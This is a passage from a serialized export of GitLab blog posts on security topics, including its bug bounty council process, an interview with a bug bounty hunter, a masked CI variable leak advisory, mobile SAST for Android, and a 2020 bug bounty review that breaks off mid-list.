family](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/78910) handbook page to further define responsibilities by role\n   * Include Security department activities within the [Engineering week-in-review](/handbook/engineering/#communication)\n\n\u003C/details>\n\n\u003Cdetails markdown=\"1\">\n\u003Csummary>\u003Cb>Priority 3: I have access to the L&D I need to do my job well\u003C/b>\u003C/summary>\n\n* Dedicated handbook page to centralize all [Learning and Development opportunities](/handbook/security/learning-and-development.html) for Security team members\n* Process to enable team members to prioritize and [dedicate eight working hours per month to L&D](/handbook/security/learning-and-development.html#dedicate-time-to-ld)\n\n\u003C/details>\n\n## What's next\n\nEach set of culture committee members are nominated to serve a six-month term. We, the first set of committee members, have established some basic processes and hit the ground running on a few initiatives that we hope has laid some groundwork for future committee members and impacts how we live our values within the Security department and throughout GitLab. We've started onboarding the next set of peer-nominated Security Committee members, which includes [Liz Coleman](/company/team/#lcoleman), [Devin Harris](/company/team/#dsharris), [Andrew Kelly](/company/team/#ankelly), [Philippe Lafoucrière](/company/team/#plafoucriere), [Marley Riser](/company/team/#marleyr), and [Juliet Wanjohi](/company/team/#jwanjohi).\n\nSo, what should be prioritized and tackled first by this new committee? We know they will each come in with their own unique and valuable perspective and ideas on how to ensure our GitLab values are strengthened as we scale and represented in the work on the Security team and beyond. We look forward to continuing to contributing to this work on behalf of all of our team members and will keep you posted!\n\nHave some feedback on the initiatives we've worked on as part of our Security Culture Committee? Or suggestions based on what's worked within your organization? Let us know in the comments!\n",[14,675],{"slug":4179,"featured":6,"template":677},"how-the-security-culture-committee-is-strengthening-gitlab-values","content:en-us:blog:how-the-security-culture-committee-is-strengthening-gitlab-values.yml","How The Security Culture Committee Is Strengthening Gitlab Values","en-us/blog/how-the-security-culture-committee-is-strengthening-gitlab-values.yml","en-us/blog/how-the-security-culture-committee-is-strengthening-gitlab-values",{"_path":4185,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4186,"content":4192,"config":4198,"_id":4200,"_type":16,"title":4201,"_source":17,"_file":4202,"_stem":4203,"_extension":20},"/en-us/blog/how-we-apply-gitlab-values-to-our-bug-bounty-council-process",{"title":4187,"description":4188,"ogTitle":4187,"ogDescription":4188,"noIndex":6,"ogImage":4189,"ogUrl":4190,"ogSiteName":767,"ogType":768,"canonicalUrls":4190,"schema":4191},"Inside the Bug Bounty Council at GitLab","We improve consistency across severity ratings and payouts in our bug bounty program with collaboration, iteration, and async communication.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681956/Blog/Hero%20Images/gitlab-values-header.png","https://about.gitlab.com/blog/how-we-apply-gitlab-values-to-our-bug-bounty-council-process","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Inside the Bug Bounty Council at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Andrew Kelly\"}],\n        \"datePublished\": \"2021-03-16\",\n      }",{"title":4187,"description":4188,"authors":4193,"heroImage":4189,"date":4195,"body":4196,"category":14,"tags":4197},[4194],"Andrew Kelly","2021-03-16","\n\nThe [Application Security (AppSec) team at GitLab](/handbook/security/security-engineering/application-security/) works closely with engineering and product teams to ensure the security of our products. There’s another group we also work with regularly to secure our product -- the amazing hackers who submit reports to us via [our bug bounty program](https://hackerone.com/gitlab). These talented individuals from around the world research and identify security vulnerabilities in GitLab and submit bug reports detailing their findings. GitLab’s AppSec team verifies and triages the findings and the reporters are rewarded a bounty for making our product stronger. \n\nBeyond the cold hard cash, we’re continually looking for ways to recognize and further engage the deep talent and expertise of the security researchers that contribute to our program.  We’ve started a new blog series, “Ask a Hacker” and just featured `@ajxchapman` in this [latest blog post](/blog/ajxchapman-ask-a-hacker/). We’ve also kicked off a series of public Ask Me Anything (AMA) sessions with hackers who contribute to our program and we’ve got one coming up with [Alex Chapman](https://hackerone.com/ajxchapman) on **March 22 at 15:30 UTC** ([see the world clock](https://www.timeanddate.com/worldclock/fixedtime.html?msg=GitLab+AMA+with+Bug+Bounty+Hunter%2C+Alex+Chapman&iso=20210322T0830&p1=224&am=25)) and we hope you’ll join us! \n\n**Get all of the details in [this Google Form](https://docs.google.com/forms/d/e/1FAIpQLSd_FFsK58KmUzYYIRU2P6BItjx1L9gnGrGY_RPz7_1pHTADAg/viewform), including how to get an invite.** \n\n![Ajxchapman AMA](https://about.gitlab.com/images/blogimages/ama-with-alexchapman-blog.png){: .large.center}\n\n## Achieving consistent severity and bounty assessments through collaboration\nWe strive to be open about as many things as possible and one of GitLab’s core values is [transparency](https://handbook.gitlab.com/handbook/values/#transparency). In bug bounty programs, we know there can be confusion around how severity levels and specific bounty awards are determined for a given report. So, we want to provide some insight into the GitLab Bug Bounty Council process and how we use it to ensure collaboration and consistency across our severity and bounty assessments.\n\n### The mechanics of the council\nWe try to [dogfood](/handbook/engineering/development/principles/#dogfooding) as much as possible, so our Bug Bounty Council process relies heavily on the use of an [issue tracker](https://docs.gitlab.com/ee/user/project/issues/) specifically set up for the AppSec team. Every week, a bot creates a new Bug Bounty Council issue, which serves as the source of truth for discussions and decisions made about any verified vulnerabilities that came in through HackerOne that week. [Asynchronous communication](/company/culture/all-remote/asynchronous/) is critical for bounty discussions since our AppSec team is distributed around the world. As of writing this post, we have team members spread across multiple time zones in 10 different countries.\n\nWhen a HackerOne report [gets triaged](/handbook/security/security-engineering/application-security/runbooks/hackerone-process.html#working-the-queue), an issue comment thread is created on the current week’s Bug Bounty Council issue. This comment thread is where any discussion about a specific report and/or bounty will happen and typically includes:\n- Link to the HackerOne report\n- Brief description of the finding\n- A recommendation for the bounty amount\n- References to similar issues and bounty amounts that were paid, if available\n- The [CVSSv3](https://en.wikipedia.org/wiki/Common_Vulnerability_Scoring_System) vector string for the vulnerability\n\nThe team member triaging the report can add any additional information, discussion items, or questions that they may have for the broader team, and the weekly council has become a great place for our AppSec engineers to solicit feedback from team members about the findings themselves. Other members of the AppSec team are then encouraged to share their feedback about the severity, consistency with other similar reports, or bounty amount.  In the case of bounty amounts, this number is ultimately determined once a particular suggestion has received at least two thumbs-up emoji (👍) from other AppSec team members.\n\n## Applying iteration to improve efficiency and accuracy\nWe’re always looking for ways to embrace [iteration](https://handbook.gitlab.com/handbook/values/#iteration) and improve our processes. Recently our amazing [security automation](/handbook/security/security-engineering/automation/) team configured things so that triaged reports are automatically added to the Bug Bounty Council issues, which saves our triagers time and ensures that every report gets discussed.\n\nAnother iteration implemented in the past few months is the addition of a requirement that each vulnerability get an approval on the CVSSv3 vector string in addition to the bounty amount. CVSS scores attempt to describe the characteristics of a vulnerability and include a numerical score that represents the severity. Each proposed CVSSv3 score is up for discussion and requires at least two bug emoji (🐛) from other AppSec team members. The goal here is to make our CVSSv3 vector strings as accurate as possible before a CVE is requested through GitLab’s [CVE Numbering Authority](/security/cve/).\n\n## Iterating towards increased transparency\nThe Bug Bounty Council is an internal process meant to increase collaboration on the decision making involved in severity and bounty determinations. And, through this function-wide collaboration and documented discussion, we can already see improvements in consistency across level-setting. Naturally, transparency around this process can be improved and that’s what we’re aiming to do. We’re exploring ways to further utilize CVSS in our process as well as incorporating a CVSS calculator around both severity and bounty determinations, bringing a whole new level of transparency to this process. We’re really looking forward to when we can implement and announce these changes and know it will be a welcome iteration by the bug bounty reporter community.\n\n## New features released, 22nd of each and every month\nOur bug bounty program is open (public since December 2018) and anyone can participate. If you’re interested in collaborating with us to make our platform more secure please feel free to submit a bug bounty report to us! This feels like a great time to remind first-time and veteran reporters, too, that we release new features on the 22nd of every month. You can learn more about [our release process](/releases/), see the [latest monthly release blog post](/releases/categories/releases/) and see what's coming in [future releases](/upcoming-releases/). Interested bug hunters may just find *something new* that piques their interest.😜\n",[14,899,675],{"slug":4199,"featured":6,"template":677},"how-we-apply-gitlab-values-to-our-bug-bounty-council-process","content:en-us:blog:how-we-apply-gitlab-values-to-our-bug-bounty-council-process.yml","How We Apply Gitlab Values To Our Bug Bounty Council Process","en-us/blog/how-we-apply-gitlab-values-to-our-bug-bounty-council-process.yml","en-us/blog/how-we-apply-gitlab-values-to-our-bug-bounty-council-process",{"_path":4205,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4206,"content":4212,"config":4217,"_id":4219,"_type":16,"title":4220,"_source":17,"_file":4221,"_stem":4222,"_extension":20},"/en-us/blog/ajxchapman-ask-a-hacker",{"title":4207,"description":4208,"ogTitle":4207,"ogDescription":4208,"noIndex":6,"ogImage":4209,"ogUrl":4210,"ogSiteName":767,"ogType":768,"canonicalUrls":4210,"schema":4211},"Ask a hacker: ajxchapman","We talk with bug bounty hunter Alex Chapman about his favorite type of vulnerability to research and the one piece of security advice he’d offer to the company he hacks.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670926/Blog/Hero%20Images/bug-bounty-ask-a-hacker.png","https://about.gitlab.com/blog/ajxchapman-ask-a-hacker","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ask a hacker: ajxchapman\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2021-03-04\",\n      }",{"title":4207,"description":4208,"authors":4213,"heroImage":4209,"date":4214,"body":4215,"category":14,"tags":4216},[3178],"2021-03-04","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n\n![Alex Chapman profile](https://about.gitlab.com/images/blogimages/ajxchapman/ajxchapman_profile.png){: .medium.center}\n\n\n**We asked bug bounty hunter Alex Chapman a bunch of questions about the history of his hack and he was gracious enough to drop some knowledge on us.**\n\n\n\n## The art of the hack\n\n#### Why do you hack?\nI first learned about hacking as a concept from the film Hackers, my brother had recorded it on VHS and I found it sitting in the VCR one day. From that point on I knew this was something I wanted to be a part of, so I spent all the time I could learning about programming and hacking. Starting with programming `Hello World!` in Visual Basic around age 12, I progressed to reverse engineering `crackmes` and playing hacking wargames throughout my teens. It wasn’t until I finished my undergraduate degree that I discovered that I could actually get a job hacking companies legally, and so I became a penetration tester.\n\n#### Why hack on GitLab’s BBP?\nI spend time on the GitLab Bug Bounty Program because I am a GitLab user, it’s open source so I can review the code, and frankly the reward table for high and critical impact bugs is among the best of all Bug Bounty programs.\n\nI much prefer white or grey box bug hunting, where I have access to source code or compiled binaries, over the more common black box style web bug hunting. So with access to the GitLab code I can attempt to spot patterns, analyse fixes and look for more fiddly bugs that would be very difficult to find without the source. On top of this, having access to the issues where bugs are fixed and discussed gives real insight into the inner workings of GitLab developers, and helps find more creative bugs.\n\n#### What is the most significant piece of security advice you could provide to the companies you hack?\nHave a clear policy for the reporting of security vulnerabilities. Whether it’s a vulnerability disclosure policy, security.txt, security@ email alias (or ideally all three), have a clearly defined method to contact your security team directly.\nThe amount of time I have wasted during my career trying to report security vulnerabilities to companies is ridiculous. I’ve been directed to support, to sales(!), been told I can’t report a vulnerability without having purchased a support contract, been threatened with legal action and been ignored.\nIf I come across a security vulnerability in one of your products or services I actively want to report it so you can fix it, not for my benefit but for yours and your customers. Make it easy for me.\n\n*_Editor’s note: 💯  We hope our process is easy and straightforward when it comes to responsible disclosure! We outline three ways to disclose a bug on [this handbook page](/security/disclosure/), including via our [HackerOne program](https://hackerone.com/gitlab), a confidential GitLab issue, or via email._\n\n#### Do you hack full-time or part-time? Why?\nI have been a professional hacker since 2007, with an interest in hacking for many years before. I spent ~11 years as a consultant penetration tester and Red Teamer, and started to get interested in bug bounty in the latter few years. After losing my first daughter in 2018 I quit work to focus on recovery and self care, and after a period I started to spend more time on bug bounty hacking. I committed to bug hunting full time in April 2019.\nNearly two years later, I’m happy to say I still enjoy finding bugs and thus far it has proved to be a viable way to make a living, whilst also giving me the flexibility and time to spend with my family and look after myself.\n#### What types of vulnerabilities do you most enjoy looking for and finding?\nMy favorite bugs to find are failures in the assumptions made when interconnecting complex systems, like:\nAssuming that a localhost bound network socket can’t be accessed by a remote attacker - enter DNS rebinding.\nTrusting a 3rd party not to respond with malicious data - not always the case with content injection or cache poisoning.\nReusing a process or container to process multiple user jobs, fine until an attacker can modify the system.\nI spend my time reviewing source code, reverse engineering binaries and assessing project architecture searching for these false assumptions and attempting to turn them to my advantage.\n\n#### From your perspective, what’s GitLab doing better than anyone else in terms of security?\nI absolutely love the open nature of GitLab, from open source and open documentation, through open issue response and remediation. Openness makes hacking on GitLab much more enjoyable, and much more likely to have critical security issues identified before they can be exploited by a malicious actor.\n\n#### Is there an area of security research you think deserves more attention?\nSupply chain attacks are the hot topic right now, and something we should all be concerned about. When our hundreds of dependencies themselves have hundreds of dependencies, how can we have any measure of confidence in the security of our code?\n\n![xkcd dependency diagram](https://about.gitlab.com/images/blogimages/ajxchapman/xkcd_dependency.png){: .small.center}\n\n_As always there is a relevant XKCD [https://xkcd.com/2347/](https://xkcd.com/2347/)_\n\nThis is already a huge problem, but one without a robust solution (I expect there is a vendor or two who may claim to solve this in their marketing material though). Until a solution can be made freely available to all, this is an area that needs significant open research.\n\n## Tangential targets\n\n#### If you use GitLab frequently, what features do you like the most? Where can we improve?\nI use GitLab for all of my Bug Bounty issue tracking from idea, through discovery, PoC development, report writing and hopefully soon report tracking via the CI/CD pipeline. This means I write in markdown, a lot. Unfortunately I find that GitLab is not very friendly with writing or editing large markdown documents in repos, wikis or issues.\n\nMy writing style means I make multiple edits to issues or wiki pages, and having to scroll through a wall of markdown source to edit a detail half way through a page is really painful. It would be great to see markdown editing become first class in GitLab, or at the very least let me edit only a code block or text under a heading like on Wikipedia.\n\n#### What was the first computer you owned?\nCommodore 64, with the tape drive, hooked up to the lounge CRT TV. Ah, the good old days of waiting, what at the time at least, felt like hours to play Frogger. The kids don’t know how good they have it these days.\n\n#### Gif or Gif? (Gif vs Jif)\nIt’s Gif, and if you think otherwise (yes, even if you wrote and named the standard), I’m sorry to tell you are living a lie. It’s ok we can still be friends though... as long as you change your heathen ways.\n\n#### Have a favorite quote?\n> “It’s not worth doing something unless someone, somewhere, would much rather you weren’t doing it.” -- The late, great Terry Pratchett\n\n\n_We held a live Ask Me Anything (AMA) session with Alex Chapman on March 22, 2021. He fielded a bunch of questions about his research approach and strategy to hacking._\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Km6toD6CAAw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[14,899],{"slug":4218,"featured":6,"template":677},"ajxchapman-ask-a-hacker","content:en-us:blog:ajxchapman-ask-a-hacker.yml","Ajxchapman Ask A Hacker","en-us/blog/ajxchapman-ask-a-hacker.yml","en-us/blog/ajxchapman-ask-a-hacker",{"_path":4224,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4225,"content":4230,"config":4236,"_id":4238,"_type":16,"title":4239,"_source":17,"_file":4240,"_stem":4241,"_extension":20},"/en-us/blog/masked-variable-vulnerability-in-runner-ver-13-9-0-rc1",{"title":4226,"description":4227,"ogTitle":4226,"ogDescription":4227,"noIndex":6,"ogImage":3429,"ogUrl":4228,"ogSiteName":767,"ogType":768,"canonicalUrls":4228,"schema":4229},"Masked variable vulnerability in Runner version 13.9.0-rc1","How we responded to a masked variable vulnerability in GitLab Runner version 13.9.0-rc1 and actions users should take.","https://about.gitlab.com/blog/masked-variable-vulnerability-in-runner-ver-13-9-0-rc1","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Masked variable vulnerability in Runner version 13.9.0-rc1\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lee Matos\"}],\n        \"datePublished\": \"2021-02-18\",\n      }",{"title":4226,"description":4227,"authors":4231,"heroImage":3429,"date":4233,"body":4234,"category":14,"tags":4235},[4232],"Lee Matos","2021-02-18","\n\nWe’re sharing details on a vulnerability that caused CI jobs containing [masked CI variables](https://docs.gitlab.com/ee/ci/variables/#mask-a-custom-variable) to be revealed. We’re communicating here to ensure affected users are aware and take action as well as to uphold our [transparency value](https://handbook.gitlab.com/handbook/values/#transparency).\n\n## Am I affected?\n\n* If you have masked variables on Gitlab.com, you could be affected. These variables could be at either the project or group level.\n* If you ran a CI pipeline between February 11th 13:00 through Feb 16 01:16am UTC on GitLab.com shared runners that output masked variables,**you are affected.**\n* If you are a self-managed customer who has deployed runner version 13.9.0-rc1, pipelines that are run by that runner which output masked variables are affected.\n\n### How could my masked variables be printed in the build logs?\nAny mechanism that show the variable would have been done in an unmasked state while using runner version 13.9.0-rc1. Example commands include:\n\n* echo $variable_name\n* echo $variable_name > variable.txt; cat variable.txt\n* some-command $masked_variable -> If this command outputs the parameters passed, it would have been unmasked.\n\n### If I am affected, what should I do?\n\nAll users who may be affected by this should review their jobs for any printed variables and rotate any secrets contained in masked variables immediately.\n\n#### GitLab.com users\n\nGitLab.com projects using shared runners between February 11th 13:00 until Feb 16 01:16am UTC and printed masked variables are affected by this regression and should rotate any secrets contained in masked variables immediately.\n\nIf you are using your own runner on gitlab.com, you should validate that you are not using runner version 13.9.0-rc1\n\n***Please note:***\n* Project visibility settings were not affected. If your project or project’s pipelines section was private, the masked variables would only be visible to members of your project with access to CI pipelines.\n* If your jobs ran on a self-managed (not shared) runner using any version aside from 13.9.0-rc1, you should not be affected by this regression.\n* If your jobs did not print any masked variables during this time, you should not be affected by this regression.\n* In any of these cases, you may choose to use this opportunity to rotate your secrets out of caution, or as part of your regular security hygiene.\n\n#### Self-managed users\n\nIf you are using 13.9.0-rc1, please upgrade to [v13.9.0-rc2](https://gitlab.com/gitlab-org/gitlab-runner/-/releases/v13.9.0-rc2) or downgrade to [13.8.0](https://gitlab.com/gitlab-org/gitlab-runner/-/releases/v13.8.0) as soon as possible. You only need to upgrade to v13.9.0-rc2 if you are using 13.9.0rc1 and want to continue using the latest release candidate at your own risk.\n\n*Please note:* The latest stable version v13.8.0 of GitLab Runner **does not have** this vulnerability so you do not need to upgrade to 13.9.0-rc2 if you are using 13.8.0.\n\nFor additional information and guidance on how to secure your GitLab instance, you can review the blog post [\"GitLab instance: security best practices\"](/blog/gitlab-instance-security-best-practices/).\n\n\n## Some background on this vulnerability\n\n## What does rc1 mean?\nAs part of our release process, runner release candidates (RC) are constantly deployed to and monitored within GitLab.com infrastructure. We roll out code in a scaled process, starting with our internal private runner managers, then move to the remainder of the shared runner fleet – allowing for a day in between deployments. Self-managed users can elect to use the latest RCs if they want to get code changes as fast as possible or test the latest code for regressions in their environments.\n\n### Details about our deployment timeline\nOn February 11th 13:00 until Feb 16 01:16am UTC, GitLab deployed version 13.9.0-rc1 of GitLab Runner on GitLab.com’s Shared Runners fleet.\n\nSelf-managed customers who are testing latest release candidates may have deployed 13.9.0-rc1 during that timeframe and should update immediately to either runner version 13.8.0 (latest stable) or 13.9.0-rc2 (latest release candidate). We have removed runner version 13.9.0-rc1 from distribution.\n\n### Actions GitLab has taken\n\nWe learned of the regression on Feb 15, and deployed a [new version of runners v13.9.0-rc2](https://gitlab.com/gitlab-org/gitlab-runner/-/releases/v13.9.0-rc2) across the Shared Runners fleet to mitigate the issue.\n\nWe have contacted GitLab.com project owners who may be affected by this regression directly via email between Feb 16-18 with information on the regression and the instructions to rotate tokens. We are also sharing that information here. The emails were titled:\n\n* Security Alert: Your public GitLab.com project needs your attention\n* Security Alert: Your private GitLab.com project needs your attention\n* Security Alert: Masked group variable vulnerability in Runner version 13.9.0-rc1\n\nFor self-managed users, we sent out a security alert email to all members of our security alerts mailing list. This email was titled _\"Security Alert: Runner version 13.9.0-rc1 has a masked variable vulnerability\"._ The same information is shared in this blog post. You can [subscribe to our security alerts](/company/contact/) to receive similar alerts, as well as notices of when regular and critical security releases are published.\n\n# What to do if you have questions\n\n## For GitLab.com customers\nFor GitLab.com customers with questions on how to determine if you are affected, please [open a GitLab.com support ticket](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=334447) so a support engineer can help you.\n\n## For self-managed customers\nIf you are a self-managed customer that used runner version 13.9.0-rc1 and have questions on how to determine the scope of impact, you can [open a self-managed support ticket](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=426148) and a support engineer can help you investigate in your specific environment.\n",[14],{"slug":4237,"featured":6,"template":677},"masked-variable-vulnerability-in-runner-ver-13-9-0-rc1","content:en-us:blog:masked-variable-vulnerability-in-runner-ver-13-9-0-rc1.yml","Masked Variable Vulnerability In Runner Ver 13 9 0 Rc1","en-us/blog/masked-variable-vulnerability-in-runner-ver-13-9-0-rc1.yml","en-us/blog/masked-variable-vulnerability-in-runner-ver-13-9-0-rc1",{"_path":4243,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4244,"content":4249,"config":4254,"_id":4256,"_type":16,"title":4257,"_source":17,"_file":4258,"_stem":4259,"_extension":20},"/en-us/blog/mobile-static-application-security-testing-for-android",{"title":4245,"description":4246,"ogTitle":4245,"ogDescription":4246,"noIndex":6,"ogImage":3429,"ogUrl":4247,"ogSiteName":767,"ogType":768,"canonicalUrls":4247,"schema":4248},"Android App Security Testing with SAST","Learn how to secure your Android application with Static Application Security Testing.","https://about.gitlab.com/blog/mobile-static-application-security-testing-for-android","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Android App Security Testing with SAST\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2020-12-16\",\n      }",{"title":4245,"description":4246,"authors":4250,"heroImage":3429,"date":4251,"body":4252,"category":14,"tags":4253},[856],"2020-12-16","\n\nAt GitLab, everyone can contribute! [GitLab 13.5](/releases/2020/10/22/gitlab-13-5-released/) included an [integration for Mobile Static\nApplication Security Testing (SAST)](/releases/2020/10/22/gitlab-13-5-released/#sast-support-for-ios-and-android-mobile-apps) from one of our customers. For their contribution, the \n[H-E-B Digital](https://digital.heb.com/) team were [October 2020's MVP](/releases/2020/10/22/gitlab-13-5-released/#mvp).\n\nTheir contribution enables SAST for mobile applications. This includes iOS apps written in Objective-C\nand Swift as well as Android apps written in Java and Kotlin. \n\nThis blog post will go over how Mobile SAST works on Android.\n\n## Static Application Security Testing\n\n[Static Application Security Testing](https://docs.gitlab.com/ee/user/application_security/sast/) analyzes source code for known vulnerabilities.\nSAST is used to detect potentially dangerous attributes in a class, or unsafe code that can\nlead to unintended code execution, as well as other issues such as SQL Injection. More information\non SAST can be seen in the [OWASP Documentation](https://owasp.org/www-community/controls/Static_Code_Analysis).\n\nHere is a video which goes over [setting up SAST for Mobile](https://docs.gitlab.com/ee/user/application_security/sast/#experimental-features), as well as a sample application\nyou can use to get started:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/v0GhEHZWtdw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nIn a nutshell, after the scanner has been configured, whenever an MR is created the\nscanner runs on the application source code and looks for patterns to determine if\nthat code is vulnerable. This is covered below.\n\nInitially this analyzer supports source code analysis but we intend to [expand support for binary\nscanning](https://gitlab.com/gitlab-org/gitlab/-/issues/269915) of .ipa and .apk files in the near future.\n\n## Understanding security rules\n\nSAST for mobile applications uses the Mobile Security Framework (MobSF) to scan source code. MobSF\nuses certain rules in order to determine if an application is vulnerable. The rules used to scan\nmobile applications can be seen in their [rules file](https://github.com/MobSF/Mobile-Security-Framework-MobSF/tree/master/StaticAnalyzer/views/android/rules).\nThese rules use [regex](https://en.wikipedia.org/wiki/Regular_expression) in order to find vulnerabilities in the static code.\n \nYou can also [contribute your own rules](https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/master/.github/CONTRIBUTING.md) if you have thoghts on enhancements.\nI made a small change to [enable a regex to work on Kotlin](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/1611).\nNot only can everyone contribute at GitLab, we encourage team members to contribute to other open source projects.\n\nNote: You will have to test your changes before they can be approved. In order to do this, you must [install\nyour branch as seen here](https://mobsf.github.io/docs/#/installation).\n\n## Adding your own scanners\n\nGitLab allows for lots of extensibility. Using our [integration guidance](https://docs.gitlab.com/ee/development/integrations/secure.html), you can bring your own scanners into the\nmerge request pipeline and the security dashboards. This was done for MobSF SAST, as well as the [WhiteSource\nDependency Scanner](/blog/whitesource-for-dependency-scanning/).\n\nI hope you enjoyed this blog post. Now you can start making your Android applications more secure.\nYou can reach out on Twitter and share your thoughts with us [@GitLab](https://twitter.com/gitlab)!\n",[14,2849,715,231,958],{"slug":4255,"featured":6,"template":677},"mobile-static-application-security-testing-for-android","content:en-us:blog:mobile-static-application-security-testing-for-android.yml","Mobile Static Application Security Testing For Android","en-us/blog/mobile-static-application-security-testing-for-android.yml","en-us/blog/mobile-static-application-security-testing-for-android",{"_path":4261,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4262,"content":4268,"config":4273,"_id":4275,"_type":16,"title":4276,"_source":17,"_file":4277,"_stem":4278,"_extension":20},"/en-us/blog/twenty-twenty-through-a-bug-bounty-lens",{"title":4263,"description":4264,"ogTitle":4263,"ogDescription":4264,"noIndex":6,"ogImage":4265,"ogUrl":4266,"ogSiteName":767,"ogType":768,"canonicalUrls":4266,"schema":4267},"2020 through a bug bounty lens","We take a look back at the year in bugs and bounties and celebrate the reporters and contributions that make us more secure.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671018/Blog/Hero%20Images/gitlab-security-blog-cover_3.png","https://about.gitlab.com/blog/twenty-twenty-through-a-bug-bounty-lens","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"2020 through a bug bounty lens\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2020-12-14\",\n      }",{"title":4263,"description":4264,"authors":4269,"heroImage":4265,"date":4270,"body":4271,"category":14,"tags":4272},[3178],"2020-12-14","\n\nWhat a long, strange trip 2020 has been. It started with hitting the [million dollar bounties paid milestone](/blog/celebrating-one-million-bug-bounties-paid/) in our [HackerOne program](https://hackerone.com/gitlab), appearing at #6 on [HackerOne’s 2020 Top Ten Public Bug Bounties program list](https://www.hackerone.com/resources/e-book/top-10-bounty-programs-2020) (up from our #10 spot from [2019](https://www.hackerone.com/resources/responsible-disclosure-program/top-20-public-bug-bounty-programs)) and having our approach to security and bug bounty program featured in this HackerOne [customer story](https://www.hackerone.com/resources/gitlab/gitlabs-approach-to-security). And then, \u003Crecord scratch>  like many across the globe, our year both screeched to a halt and raged on, as we all moved forward the best that we possibly could throughout a tumultuous year with a ton of eye-opening and unbelievable global happenings spanning the realm of those we’d soon forget, to those we can and should learn and grow from.\n\nOne thing remained a constant though: The awesomely talented security researchers who submit to our program kept finding small bugs and big bugs, and our teams kept on triaging, testing, and fixing them.\n\nWe’re ending 2020 with a look back at our bug bounty program and the people who have made it a success by making our product and company more secure: our bug bounty researchers!\n\n## 2020 by the numbers\n\n**This year we:**\n* Received a total of 1,070 reports from 505 security researchers\n* Awarded a total of $380,800 USD in bounties to 62 different researchers reporting valid vulnerabilities\n* Resolved 259 reports and made 131 of those reports public.\n* Had 163 security researchers submit multiple reports, meaning their first engagement with us was a positive one.\n\n**Note:** Data pulled is accurate as of Dec. 7, 2020.\n{: .note}\n\n*Shout out to our Bug Bounty Program manager, [James Ritchey](/company/team/#jritchey) for providing these program stats.* 📣\n\n## Bug bounty program updates\n\nWe also rolled out a few new programs and initiatives to recognize and benefit contributors to our program.\n\n**This year, we:**\n* Reduced the time to bounty in our program from 90 days to 45 days max. We intend to continue iterating on this so that we can shorten this time frame further.\n* Started a new researcher-focused blog series, called (creatively), Ask a Hacker. See our first [blog feature](/blog/rpadovani-ask-a-hacker/) with [@rpadovani](https://hackerone.com/rpadovani?type=user). You can [check him out on GitLab too](https://gitlab.com/rpadovani).\n* Kicked off a new Ask Me Anything (AMA) series with some of our top bug bounty hunters. You can see our first [AMA with Riccardo Padovani here](https://youtu.be/SK_vuZCafZ4).\n* Began reporting our monthly program metrics and give shout-outs to the months’ high earners or critical bug contributors! See [the metrics we reported out last month](https://twitter.com/gitlab/status/1330892872808271873).\n\nTogether, we are stronger 💪.\n\nNow, onto the really good stuff. We’re excited to announce the winners of our hacking contest, which commemorates our [second year as a public bug bounty program](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/). 🎉 🥁 🐛\n\nWe announced a [bug bounty contest](/blog/top-tips-for-better-bug-bounty-reports-and-a-hacker-contest/#celebrating-great-reports-and-great-reporters) in October and received 138 reports from 87 different individuals between October 1 and November 30, and 55 of them were from new reporters!\n\nThanks to all who contributed! 🙌\n\n## \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-gift\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  Congratulations to these 5 contest winners \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-bug\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>\n{: .text-center}\n\n\n\u003Ci class=\"fas fa-address-card fa-fw\" style=\"color:rgb(46,46,46); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most reputation points from submissions to our program.** Congratulations to [@vaib25vicky](https://hackerone.com/vaib25vicky) who was the frontrunner for reputation points this period.\n{: #id-card-black}\n\n\u003Ci class=\"far fa-address-card fa-fw\" style=\"color:rgb(56,13,117); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most reputation points *collected by a reporter new to our program***. Congratulations to [@fsky](https://hackerone.com/fsky) who clinched the highest reputation score of any new reporter to our program.\n{: 